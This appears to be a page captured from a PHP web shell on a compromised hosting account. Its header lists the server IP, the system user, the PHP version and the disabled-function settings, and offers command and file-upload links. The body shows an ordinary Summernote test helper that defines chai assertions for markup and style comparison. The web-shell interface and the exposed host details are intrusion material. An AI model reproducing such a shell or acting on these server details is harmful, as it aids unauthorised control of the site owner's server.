1Server IP : 217.21.90.164 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u367232671 ( 367232671) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u367232671/public_html/css/js/../summernote-develop/test/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
import $ from 'jquery'; import env from 'src/js/base/core/env'; export default function(chai) { chai.dom = chai.dom || {}; chai.dom.equalsIgnoreCase = (str1, str2) => { str1 = str1.toUpperCase(); str2 = str2.toUpperCase(); // [workaround] IE8-10 use instead of bogus br if (env.isMSIE && env.browserVersion < 11) { str2 = str2.replace(/<BR\/?>/g, '&NBSP;'); str1 = str1.replace(/<BR\/?>/g, '&NBSP;'); } // [workaround] IE8 str1 markup has newline between tags if (env.isMSIE && env.browserVersion < 9) { str1 = str1.replace(/\r\n/g, ''); } return str1 === str2; }; chai.dom.equalsStyle = ($node, expected, style) => { const nodeStyle = window.getComputedStyle($node[0]).getPropertyValue(style); const testerStyle = $('<div />').css(style, expected).css(style); return nodeStyle === testerStyle; }; chai.Assertion.addChainableMethod('await', (done) => { try { setTimeout(() => { done(); }, 10); } catch (e) { done(e); } }); chai.Assertion.addChainableMethod('equalsIgnoreCase', function(expected) { var actual = this._obj; return this.assert( chai.dom.equalsIgnoreCase(actual, expected), 'expected ' + this._obj + ' to equal ' + expected + ' ignoring case', 'expected ' + this._obj + ' not to equal ' + expected + ' ignoring case' ); }); chai.Assertion.addChainableMethod('equalsStyle', function(expected, style) { var $node = this._obj; return this.assert( chai.dom.equalsStyle($node, expected, style), 'expected ' + this._obj.css(style) + ' to equal ' + expected + ' style', 'expected ' + this._obj.css(style) + ' not to equal ' + expected + ' style' ); }); chai.assert.equalsIgnoreCase = (val, exp, msg) => { new chai.Assertion(val, msg).to.be.equalsIgnoreCase(exp); }; chai.assert.notequalsIgnoreCase = (val, exp, msg) => { new chai.Assertion(val, msg).to.not.be.equalsIgnoreCase(exp); }; }